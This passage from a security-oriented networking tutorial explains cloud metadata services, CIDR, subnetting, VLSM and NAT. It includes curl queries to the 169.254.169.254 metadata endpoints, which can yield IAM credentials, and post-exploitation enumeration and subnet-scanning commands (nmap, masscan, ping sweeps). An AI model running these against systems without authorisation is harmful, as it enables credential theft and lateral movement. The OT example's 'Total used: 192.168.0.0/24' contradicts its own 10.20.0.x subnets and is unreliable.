&lt;p&gt;&lt;strong&gt;Real-world impact:&lt;/strong&gt; The 2019 Capital One breach exposed 100 million customer records. The attacker exploited an SSRF vulnerability in a WAF configuration, reached the metadata service, obtained IAM credentials, and used them to exfiltrate data from S3. The metadata service was the pivot point.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Test metadata service access from inside a cloud VM:&lt;/span&gt;
curl http://169.254.169.254/latest/meta-data/                     &lt;span class="c"&gt;# AWS&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Metadata:true"&lt;/span&gt; &lt;span class="s2"&gt;"http://169.254.169.254/metadata/instance?api-version=2021-02-01"&lt;/span&gt;  &lt;span class="c"&gt;# Azure&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Metadata-Flavor:Google"&lt;/span&gt; http://169.254.169.254/computeMetadata/v1/  &lt;span class="c"&gt;# GCP&lt;/span&gt;

&lt;span class="c"&gt;# AWS IMDSv2 (more secure — requires token):&lt;/span&gt;
&lt;span class="nv"&gt;TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-X&lt;/span&gt; PUT &lt;span class="s2"&gt;"http://169.254.169.254/latest/api/token"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token-ttl-seconds: 21600"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-aws-ec2-metadata-token: &lt;/span&gt;&lt;span class="nv"&gt;$TOKEN&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    http://169.254.169.254/latest/meta-data/

&lt;span class="c"&gt;# Detection: &lt;/span&gt;
&lt;span class="c"&gt;# In AWS CloudTrail, metadata service calls don't appear (they're local)&lt;/span&gt;
&lt;span class="c"&gt;# But the subsequent use of temporary credentials DOES appear in CloudTrail&lt;/span&gt;
&lt;span class="c"&gt;# Alert on: IAM credential usage from unexpected IPs or at unexpected times&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; The line between "private" and "public" is not just about RFC 1918. It is about trust. Private addresses imply internal trust. Cloud metadata services at 169.254.169.254 operate entirely on that trust assumption — no authentication, no encryption, just "you're on the network, so here are the credentials." SSRF that reaches this address is nearly always critical severity.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. CIDR Notation — The Modern Standard
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 What CIDR Is and Why It Replaced Classes
&lt;/h3&gt;

&lt;p&gt;CIDR (Classless Inter-Domain Routing, RFC 4632, 1993) solves the fundamental waste problem of classful addressing. Under the classful system, an organisation that needed 500 addresses received a Class B (/16, 65,534 hosts) — wasting 65,034 addresses. This accelerated IPv4 exhaustion.&lt;/p&gt;

&lt;p&gt;CIDR allows any prefix length — the network/host boundary can be placed anywhere in the 32-bit address. A &lt;code&gt;/22&lt;/code&gt; gives exactly 1,022 hosts, matching the real requirement.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CIDR Notation: IP_address/prefix_length
Example: 192.168.1.0/24

/24 means: first 24 bits are the NETWORK portion
           last 8 bits are the HOST portion

Binary representation:
  Network bits: 11111111.11111111.11111111.00000000 = 255.255.255.0 (subnet mask)

Network address:    192.168.1.0   (all host bits = 0)
Broadcast address:  192.168.1.255 (all host bits = 1)
Usable host range:  192.168.1.1 – 192.168.1.254
Usable hosts:       2^8 - 2 = 254
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.2 Prefix Length to Subnet Mask Conversion
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/prefix → subnet mask (must memorise these):

/8  → 255.0.0.0       (11111111.00000000.00000000.00000000)
/9  → 255.128.0.0
/10 → 255.192.0.0
/11 → 255.224.0.0
/12 → 255.240.0.0
/13 → 255.248.0.0
/14 → 255.252.0.0
/15 → 255.254.0.0
/16 → 255.255.0.0     (11111111.11111111.00000000.00000000)
/17 → 255.255.128.0
/18 → 255.255.192.0
/19 → 255.255.224.0
/20 → 255.255.240.0
/21 → 255.255.248.0
/22 → 255.255.252.0
/23 → 255.255.254.0
/24 → 255.255.255.0   (11111111.11111111.11111111.00000000)
/25 → 255.255.255.128
/26 → 255.255.255.192
/27 → 255.255.255.224
/28 → 255.255.255.240
/29 → 255.255.255.248
/30 → 255.255.255.252
/31 → 255.255.255.254 (point-to-point links — RFC 3021, no broadcast)
/32 → 255.255.255.255 (single host route)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The pattern:&lt;/strong&gt; Each bit added to the prefix doubles the number of networks and halves the number of hosts.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Quick host calculation from prefix:
  Hosts = 2^(32 - prefix) - 2

/24 → 2^8  - 2 = 254
/25 → 2^7  - 2 = 126
/26 → 2^6  - 2 = 62
/27 → 2^5  - 2 = 30
/28 → 2^4  - 2 = 14
/29 → 2^3  - 2 = 6
/30 → 2^2  - 2 = 2     ← Point-to-point links between routers
/31 → 2^1  - 2 = 0     ← RFC 3021: used for P2P with no broadcast
/32 → 2^0  - 2 = -1    ← Single host route (host bits all 0 or 1, no subtraction)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5.3 CIDR in Security Operations
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Nmap with CIDR — scan entire subnets:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 10.0.0.0/8          &lt;span class="c"&gt;# Scan all 16M addresses in Class A (slow)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.0/24      &lt;span class="c"&gt;# Scan /24 (fast, common for LAN recon)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 10.10.10.0/24       &lt;span class="c"&gt;# SYN scan of /24&lt;/span&gt;

&lt;span class="c"&gt;# Masscan — faster for large CIDR ranges:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;masscan 10.0.0.0/8 &lt;span class="nt"&gt;-p80&lt;/span&gt;,443,22,3389 &lt;span class="nt"&gt;--rate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;10000
&lt;span class="c"&gt;# --rate = packets per second (be careful on production networks)&lt;/span&gt;

&lt;span class="c"&gt;# Python CIDR operations:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

# Check if IP is within a CIDR range:
network = ipaddress.ip_network("10.10.0.0/16")
test_ip = ipaddress.ip_address("10.10.5.100")
print(f"{test_ip} in {network}: {test_ip in network}")

# Generate all IPs in a range (useful for scripting):
for ip in list(ipaddress.ip_network("192.168.1.0/29").hosts()):
    print(ip)

# Summarise multiple subnets:
nets = [
    ipaddress.ip_network("192.168.1.0/26"),
    ipaddress.ip_network("192.168.1.64/26"),
    ipaddress.ip_network("192.168.1.128/26"),
    ipaddress.ip_network("192.168.1.192/26"),
]
collapsed = list(ipaddress.collapse_addresses(nets))
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Collapsed: {collapsed}")  # Should show 192.168.1.0/24

# Check if two networks overlap (critical for firewall rule analysis):
net1 = ipaddress.ip_network("10.0.0.0/8")
net2 = ipaddress.ip_network("10.10.0.0/16")
print(f"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;Networks overlap: {net1.overlaps(net2)}")  # True
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;&lt;span class="c"&gt;# iptables/nftables use CIDR notation:&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 192.168.1.0/24 &lt;span class="nt"&gt;-j&lt;/span&gt; ACCEPT   &lt;span class="c"&gt;# Allow entire /24&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;iptables &lt;span class="nt"&gt;-A&lt;/span&gt; INPUT &lt;span class="nt"&gt;-s&lt;/span&gt; 10.0.0.0/8 &lt;span class="nt"&gt;-j&lt;/span&gt; DROP         &lt;span class="c"&gt;# Block entire Class A&lt;/span&gt;

&lt;span class="c"&gt;# Wireshark CIDR filter:&lt;/span&gt;
&lt;span class="c"&gt;# ip.addr == 192.168.1.0/24    → All traffic involving this subnet&lt;/span&gt;
&lt;span class="c"&gt;# ip.src == 10.0.0.0/8         → Traffic sourced from 10.x.x.x&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Subnet Mask Calculation — From Binary to Practice
&lt;/h2&gt;

&lt;h3&gt;
  
  
  6.1 What the Subnet Mask Does
&lt;/h3&gt;

&lt;p&gt;The subnet mask tells a device which part of an IP address is the &lt;strong&gt;network portion&lt;/strong&gt; and which part is the &lt;strong&gt;host portion&lt;/strong&gt;. This is how a device knows whether a destination is on the same local network (no routing needed) or on a different network (send to default gateway).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Operation: Bitwise AND between IP address and subnet mask

IP address:    192.168.1.100 = 11000000.10101000.00000001.01100100
Subnet mask:   255.255.255.0 = 11111111.11111111.11111111.00000000
                               ────────────────────────────────────
AND result:    192.168.1.0   = 11000000.10101000.00000001.00000000
                               ← Network address

The network address is the IP with all host bits set to 0.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;How a device uses this:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Device: 192.168.1.100/24
Wants to send to: 192.168.1.50

Step 1: Calculate own network address
  192.168.1.100 AND 255.255.255.0 = 192.168.1.0

Step 2: Calculate destination network address
  192.168.1.50 AND 255.255.255.0 = 192.168.1.0

Step 3: Are they the same? YES
  → Destination is local, send directly (use ARP to find MAC)

───────────────────────────────────────────────────────

Device: 192.168.1.100/24
Wants to send to: 10.0.0.1

Step 1: Own network: 192.168.1.0
Step 2: Destination network: 10.0.0.0 (AND with 255.255.255.0)
Step 3: Are they the same? NO
  → Destination is remote, send to default gateway
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6.2 Finding Network and Broadcast Addresses
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Given: 192.168.10.130/25

Step 1: Convert prefix to mask
  /25 → 255.255.255.128 = 11111111.11111111.11111111.10000000

Step 2: Find network address (AND)
  IP:   11000000.10101000.00001010.10000010
  Mask: 11111111.11111111.11111111.10000000
  AND:  11000000.10101000.00001010.10000000 = 192.168.10.128

Step 3: Find broadcast address (OR with inverted mask)
  Inverted mask (wildcard): 00000000.00000000.00000000.01111111
  Network:  11000000.10101000.00001010.10000000
  Wildcard: 00000000.00000000.00000000.01111111
  OR:       11000000.10101000.00001010.11111111 = 192.168.10.255

Results:
  Network address:   192.168.10.128
  Broadcast address: 192.168.10.255
  First host:        192.168.10.129
  Last host:         192.168.10.254
  Usable hosts:      2^7 - 2 = 126
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Subnet calculation tools:&lt;/span&gt;
ipcalc 192.168.10.130/25       &lt;span class="c"&gt;# Comprehensive subnet info&lt;/span&gt;
ipcalc &lt;span class="nt"&gt;-n&lt;/span&gt; 192.168.10.130/25    &lt;span class="c"&gt;# Network address only&lt;/span&gt;
ipcalc &lt;span class="nt"&gt;-b&lt;/span&gt; 192.168.10.130/25    &lt;span class="c"&gt;# Broadcast only&lt;/span&gt;

&lt;span class="c"&gt;# Python:&lt;/span&gt;
python3 &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"
import ipaddress
net = ipaddress.ip_interface('192.168.10.130/25').network
print(f'Network:   {net.network_address}')
print(f'Broadcast: {net.broadcast_address}')
print(f'Mask:      {net.netmask}')
print(f'Wildcard:  {net.hostmask}')
print(f'First:     {list(net.hosts())[0]}')
print(f'Last:      {list(net.hosts())[-1]}')
print(f'Hosts:     {net.num_addresses - 2}')
"&lt;/span&gt;

&lt;span class="c"&gt;# Determine subnet from any IP:&lt;/span&gt;
ip route get 192.168.1.50      &lt;span class="c"&gt;# Linux — shows route to this IP&lt;/span&gt;
ip addr show                    &lt;span class="c"&gt;# Shows all interfaces with CIDR notation&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. Subnetting — Designing and Breaking Networks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  7.1 Why Subnetting Is a Security Design Tool
&lt;/h3&gt;

&lt;p&gt;Subnetting is not just about efficient address use — it is the primary mechanism for &lt;strong&gt;network segmentation&lt;/strong&gt;. Separate subnets, enforced by routers and firewalls, are the foundation of defence-in-depth at the network layer.&lt;/p&gt;

&lt;p&gt;A flat network (everyone in one subnet) means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Broadcast traffic hits every device&lt;/li&gt;
&lt;li&gt;ARP poisoning reaches every device&lt;/li&gt;
&lt;li&gt;A compromised workstation can reach every server directly&lt;/li&gt;
&lt;li&gt;No choke points for traffic inspection&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A segmented network means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Traffic between subnets must cross a router or firewall&lt;/li&gt;
&lt;li&gt;Security policies can be enforced at subnet boundaries&lt;/li&gt;
&lt;li&gt;Compromise of one subnet does not grant immediate access to others&lt;/li&gt;
&lt;li&gt;Lateral movement requires exploiting the routing/firewall boundary&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  7.2 Subnetting a Network — The Complete Method
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; You have 192.168.1.0/24 and need to create 4 subnets of (approximately) equal size.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Step 1: Determine how many subnet bits are needed
  4 subnets → need 2 bits (2^2 = 4)
  Borrow 2 bits from the host portion

Step 2: New prefix length
  Original: /24
  New:      /24 + 2 = /26

Step 3: New subnet mask
  /26 = 11111111.11111111.11111111.11000000 = 255.255.255.192

Step 4: Block size
  8 host bits - 2 subnet bits = 6 host bits
  Hosts per subnet: 2^6 - 2 = 62
  Block size: 2^6 = 64

Step 5: List all subnets
  Subnet 1: 192.168.1.0/26     → hosts: 192.168.1.1   – 192.168.1.62
  Subnet 2: 192.168.1.64/26    → hosts: 192.168.1.65  – 192.168.1.126
  Subnet 3: 192.168.1.128/26   → hosts: 192.168.1.129 – 192.168.1.190
  Subnet 4: 192.168.1.192/26   → hosts: 192.168.1.193 – 192.168.1.254

Broadcasts: .63, .127, .191, .255
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Security application of subnetting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Typical enterprise segmented network design:

Segment             Subnet           Purpose                Security Posture
────────────────────────────────────────────────────────────────────────────
Users               10.10.1.0/24    Workstations           Least trusted
Servers             10.10.2.0/24    Internal servers       More trusted
Management          10.10.3.0/27    Network devices        Highly restricted
DMZ                 10.10.4.0/28    Internet-facing        Partially trusted
Guest               10.10.5.0/24    Visitor WiFi           Untrusted
OT/Control          10.20.0.0/24    Industrial devices     Isolated
OT/SCADA Server     10.20.1.0/28    HMI/Historian          Isolated
Surveillance        10.30.0.0/24    CCTV cameras           Isolated

Between each segment: firewall with explicit allow rules.
Default policy: DENY ALL.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.3 Subnetting in Attack Context
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Identifying the subnet from inside:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# After initial access, enumerate network configuration:&lt;/span&gt;
ip addr show                          &lt;span class="c"&gt;# Own IP + subnet&lt;/span&gt;
ip route show                         &lt;span class="c"&gt;# Routing table (reveals other subnets)&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/hosts                        &lt;span class="c"&gt;# Static hostname mappings&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/resolv.conf                  &lt;span class="c"&gt;# DNS server IPs (often on internal network)&lt;/span&gt;
arp &lt;span class="nt"&gt;-a&lt;/span&gt;                                &lt;span class="c"&gt;# Recently communicated hosts&lt;/span&gt;

&lt;span class="c"&gt;# Infer network topology from routing table:&lt;/span&gt;
ip route show
&lt;span class="c"&gt;# Example output:&lt;/span&gt;
&lt;span class="c"&gt;# default via 10.10.1.1 dev eth0       ← Default gateway&lt;/span&gt;
&lt;span class="c"&gt;# 10.10.1.0/24 dev eth0               ← Local subnet&lt;/span&gt;
&lt;span class="c"&gt;# 10.10.2.0/24 via 10.10.1.1 dev eth0 ← Route to server subnet (gateway is router)&lt;/span&gt;

&lt;span class="c"&gt;# The presence of routes to 10.10.2.0/24 reveals the server subnet exists&lt;/span&gt;
&lt;span class="c"&gt;# Even if firewall blocks direct access, knowing the subnet guides further attacks&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Subnet scanning after initial access:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Fast host discovery within a discovered subnet:&lt;/span&gt;
&lt;span class="c"&gt;# Method 1: Ping sweep (often blocked by firewalls)&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 254&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;ping &lt;span class="nt"&gt;-c&lt;/span&gt; 1 &lt;span class="nt"&gt;-W&lt;/span&gt; 1 10.10.2.&lt;span class="nv"&gt;$i&lt;/span&gt; &amp;amp;&amp;gt;/dev/null &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"10.10.2.&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt; alive"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;# Method 2: ARP scan (only works on same subnet)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;arp-scan 10.10.1.0/24

&lt;span class="c"&gt;# Method 3: TCP SYN to common ports (works across subnets)&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 22,80,443,445,3389 &lt;span class="nt"&gt;--open&lt;/span&gt; 10.10.2.0/24 2&amp;gt;/dev/null

&lt;span class="c"&gt;# Method 4: Using nc for quick port checks&lt;/span&gt;
nc &lt;span class="nt"&gt;-zv&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; 1 10.10.2.100 22 80 443 2&amp;gt;&amp;amp;1 | &lt;span class="nb"&gt;grep &lt;/span&gt;succeeded

&lt;span class="c"&gt;# Method 5: Python ping sweep&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import subprocess, ipaddress, concurrent.futures

def ping(ip):
    result = subprocess.run(['ping', '-c', '1', '-W', '1', str(ip)],
                           capture_output=True)
    if result.returncode == 0:
        return str(ip)
    return None

network = ipaddress.ip_network("10.10.2.0/24")
with concurrent.futures.ThreadPoolExecutor(max_workers=50) as executor:
    futures = {executor.submit(ping, host): host for host in network.hosts()}
    for future in concurrent.futures.as_completed(futures):
        result = future.result()
        if result:
            print(f"ALIVE: {result}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Subnetting is both a network design tool and a map-reading skill for attackers. From the attacker's perspective, routing tables and network configurations gathered during post-exploitation reveal the entire subnet architecture — which subnets exist, how they are connected, and what paths exist between them. Defenders must assume that an attacker who gains any foothold will enumerate the full subnet topology.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. VLSM — Variable Length Subnet Masking
&lt;/h2&gt;

&lt;h3&gt;
  
  
  8.1 What VLSM Solves
&lt;/h3&gt;

&lt;p&gt;Fixed-length subnetting wastes addresses. VLSM allows different subnets within the same network to have different prefix lengths — each subnet is sized exactly for its requirement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem with fixed subnetting:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You need:
  - 1 subnet for 100 users    → need /25 (126 hosts)
  - 1 subnet for 20 servers   → need /27 (30 hosts)
  - 1 subnet for 10 printers  → need /28 (14 hosts)
  - 4 point-to-point links    → need /30 (2 hosts each)

Fixed /25 approach (wasteful):
  All subnets are /25 = 126 hosts each
  Servers subnet: 126 - 20 = 106 wasted addresses
  Printers subnet: 126 - 10 = 116 wasted addresses
  P2P links: 126 - 2 = 124 wasted addresses each

VLSM approach (efficient):
  User subnet:    /25 = 126 hosts ← sized correctly
  Server subnet:  /27 = 30 hosts  ← sized correctly
  Printer subnet: /28 = 14 hosts  ← sized correctly
  P2P links:      /30 = 2 hosts   ← sized correctly
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.2 VLSM Design Process
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Always start with the largest subnet and work down.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Available block: 192.168.1.0/24 (254 hosts)
Requirements:
  1. Subnet A: 100 hosts
  2. Subnet B: 50 hosts
  3. Subnet C: 20 hosts
  4. Subnet D: 10 hosts
  5. Subnet E: 2 hosts (point-to-point link)

Step 1: Subnet A (100 hosts)
  Need: 2^n - 2 ≥ 100 → n=7 (2^7-2=126) → /25
  Assign: 192.168.1.0/25
  Range: 192.168.1.0 – 192.168.1.127
  Next available: 192.168.1.128

Step 2: Subnet B (50 hosts)
  Need: 2^n - 2 ≥ 50 → n=6 (2^6-2=62) → /26
  Assign: 192.168.1.128/26
  Range: 192.168.1.128 – 192.168.1.191
  Next available: 192.168.1.192

Step 3: Subnet C (20 hosts)
  Need: 2^n - 2 ≥ 20 → n=5 (2^5-2=30) → /27
  Assign: 192.168.1.192/27
  Range: 192.168.1.192 – 192.168.1.223
  Next available: 192.168.1.224

Step 4: Subnet D (10 hosts)
  Need: 2^n - 2 ≥ 10 → n=4 (2^4-2=14) → /28
  Assign: 192.168.1.224/28
  Range: 192.168.1.224 – 192.168.1.239
  Next available: 192.168.1.240

Step 5: Subnet E (2 hosts, P2P link)
  Need: 2^n - 2 ≥ 2 → n=2 (2^2-2=2) → /30
  Assign: 192.168.1.240/30
  Range: 192.168.1.240 – 192.168.1.243
  Remaining: 192.168.1.244 – 192.168.1.255 (available for future use)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  8.3 VLSM and Security Architecture
&lt;/h3&gt;

&lt;p&gt;VLSM is what makes proper OT network segmentation practical. Different zones have vastly different host count requirements:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OT Network VLSM Design Example:

  Corporate IT-OT DMZ:      10.20.0.0/28   (14 hosts — jump servers, historians)
  SCADA Server Zone:        10.20.0.16/29  (6 hosts — HMI servers, SCADA servers)
  Control Network:          10.20.0.24/29  (6 hosts — PLCs, RTUs)
  Field Device Network:     10.20.0.32/27  (30 hosts — sensors, actuators)
  Engineering Workstations: 10.20.0.64/28  (14 hosts — EWS)
  IT-OT Firewall Link:      10.20.0.80/30  (2 hosts — P2P firewall interfaces)
  OT-SCADA Firewall Link:   10.20.0.84/30  (2 hosts — P2P firewall interfaces)

  Total used: 192.168.0.0/24
  Each zone isolated with firewall — traffic only flows through permitted paths
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Verify VLSM design is correct (no overlaps):&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
import ipaddress

subnets = [
    "10.20.0.0/28",
    "10.20.0.16/29",
    "10.20.0.24/29",
    "10.20.0.32/27",
    "10.20.0.64/28",
    "10.20.0.80/30",
    "10.20.0.84/30",
]

networks = [ipaddress.ip_network(s) for s in subnets]

# Check for overlaps:
overlaps = []
for i, n1 in enumerate(networks):
    for j, n2 in enumerate(networks):
        if i &amp;lt; j and n1.overlaps(n2):
            overlaps.append((subnets[i], subnets[j]))

if overlaps:
    print("OVERLAP DETECTED:")
    for o in overlaps:
        print(f"  {o[0]} overlaps with {o[1]}")
else:
    print("No overlaps — VLSM design is valid")

# Show total address space used:
total = sum(n.num_addresses for n in networks)
print(f"Total addresses allocated: {total}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  9. NAT — Network Address Translation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  9.1 How NAT Works Internally
&lt;/h3&gt;

&lt;p&gt;NAT maintains a &lt;strong&gt;translation table&lt;/strong&gt; that maps {private IP, private port} to {public IP, public port} pairs.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAT Translation Table:
┌────────────────────────┬────────────────────────┬──────────────────┐
│ Inside Local           │ Inside Global          │ Protocol         │
│ (Private IP:Port)      │ (Public IP:Port)       │                  │
├────────────────────────┼────────────────────────┼──────────────────┤
│ 192.168.1.10:54321     │ 203.0.113.1:12001      │ TCP              │
│ 192.168.1.10:54322     │ 203.0.113.1:12002      │ TCP              │
│ 192.168.1.20:45678     │ 203.0.113.1:12003      │ TCP              │
│ 192.168.1.30:53        │ 203.0.113.1:12004      │ UDP              │
└────────────────────────┴────────────────────────┴──────────────────┘

Outbound packet:
  Source: 192.168.1.10:54321  Destination: 8.8.8.8:53
  NAT rewrites source: 203.0.113.1:12001  Destination: 8.8.8.8:53
  Adds entry to table

Inbound packet:
  Source: 8.8.8.8:53  Destination: 203.0.113.1:12001
  NAT looks up 203.0.113.1:12001 → 192.168.1.10:54321
  Rewrites destination: 8.8.8.8:53 → 192.168.1.10:54321
  Forwards to internal host
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 NAT Types
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Static NAT (one-to-one):&lt;/strong&gt;&lt;br&gt;
One private IP permanently maps to one public IP.&lt;br&gt;
Used for: servers that must be reachable from the internet on their own public IP.&lt;br&gt;
Security: same attack surface as a directly connected server — no protection.&lt;/p&gt;

